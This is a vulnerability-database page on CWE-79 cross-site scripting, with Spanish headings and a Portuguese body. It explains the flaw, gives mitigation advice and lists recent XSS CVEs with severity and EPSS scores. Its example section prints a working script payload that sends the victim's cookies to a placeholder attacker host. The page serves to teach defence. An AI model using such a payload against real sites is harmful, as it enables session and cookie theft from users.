Fallos del tipo CWE-79

30.601 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-104479MEDIUMShopclass before 6.2.0 Stored XSS via Listing Description FieldEPSS 0.2%CVE-2026-95166MEDIUMIn Bacularis v1.0.0 - 6.5.1 when adding a new pool, the LabelFormat field allows for a Cross Site Scripting (XSS) payload.EPSS 0.2%CVE-2025-58208MEDIUMWordPress PDF for Elementor Forms + Drag And Drop Template Builder Plugin <= 6.2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-48540MEDIUMKrayin CRM 2.2.6 Stored Template Injection XSS via Lead TitleEPSS 0.2%CVE-2025-62759MEDIUMWordPress Series plugin <= 2.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-58212MEDIUMWordPress Epeken All Kurir Plugin <= 2.0.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58987MEDIUMWordPress Football Pool Plugin <= 2.12.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-48228MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via patient_w.php id and ticket_id ParametersEPSS 0.2%CVE-2025-58209MEDIUMWordPress Transcoder Plugin <= 1.4.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-10553HIGHStored Cross-site Scripting (XSS) vulnerability affecting Factory Resource Management in DELMIA Factory Resource Manager from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2025xEPSS 0.2%CVE-2025-62761MEDIUMWordPress Knowledge Base documentation & wiki plugin – BasePress plugin <= 2.17.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-58875MEDIUMWordPress WP Github Gist Plugin <= 0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-63081MEDIUMPerfect Support Ticketing System 1.7 Stored XSS via Ticket Notes FieldEPSS 0.2%CVE-2025-58213MEDIUMWordPress Booking System Trafft Plugin <= 1.0.14 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58871MEDIUMWordPress Master Paper Collapse Toggle Plugin <= 1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58874MEDIUMWordPress StoryMap Plugin <= 2.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58882MEDIUMWordPress Simple Text Slider Plugin <= 1.0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-68532MEDIUMWordPress ModelTheme Addons for WPBakery and Elementor plugin < 1.5.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-48999MEDIUMStored Cross-Site Scripting (XSS) vulnerability in ZTE ZXUniPOS NDS-LTE productEPSS 0.2%CVE-2025-58205MEDIUMWordPress ElementInvader Addons for Elementor Plugin <= 1.3.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%